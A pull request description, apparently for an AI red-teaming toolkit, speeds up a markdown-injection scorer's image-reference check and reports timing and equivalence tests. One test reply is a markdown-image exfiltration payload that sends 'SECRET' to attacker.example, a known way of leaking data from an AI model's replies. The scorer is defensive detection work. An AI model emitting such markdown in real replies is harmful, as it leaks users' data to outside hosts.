[Jaafer Rahmani (bIackr0se)]

Description

MarkdownInjectionScorer() still runs the default shortcut-reference image pattern with re.search, which takes quadratic time in the number of images or definition lines in a reply: a 300 KB reply of ![a] repeated takes 25 s to score. This PR checks that pattern in linear time with the same verdict, as #3966 did for the default inline and reference patterns.

• The pattern's first branch scans the rest of the reply for a [label]: line after every ![label], and its second branch scans the rest for an image after every definition line.
• A label runs from its [ to the first ], so each ![ and each definition line has exactly one label. _has_shortcut_pair reads each label once, backwards from its ], into a trie of lowercased characters, so equal labels share a node. One pass then checks the two orders the pattern accepts: a definition line that starts after an image ends, or an image that starts after a definition's value.
• ch.lower()[0] is the per-character comparison re makes for a case-insensitive backreference, so ![İ] still pairs with [i]: x and ![ſ] still does not pair with [s]: x.
• The pattern string does not change. A custom shortcut pattern still goes through re.search.

Default MarkdownInjectionScorer().score_text_async(reply) with initialize_pyrit_async(memory_db_type=IN_MEMORY), Python 3.12:

reply                                     chars   main              this PR
"![a] " * 12_800                          64000   False, 1.135 s    False, 0.024 s
"![a]\n" * 12_800                         64000   False, 1.481 s    False, 0.066 s
"![a] " * 60_000                         300000   False, 24.8 s     False, 0.11 s
"![a]\n" * 60_000                        300000   False, 31.4 s     False, 0.31 s
"Sure! ![logo]\n\n[logo]: https://attacker.example/p.png?d=SECRET"
                                             62   True              True (same rationale)

The new check gives the same verdict as re.search with the default shortcut pattern on every sequence of up to six tokens over ![a], ![A], ![a](, ![a][, [a]:, [A]:, x, x, \n, , ![, ] (3,257,437 strings, 293,888 of them matches) and on 600,000 random strings with case variants such as İ, ſ, K and Σ, with no difference.

[Copilot]

Copilot was unable to review this pull request because the user who requested the review has insufficient remaining quota. Try requesting a review at a lower effort level.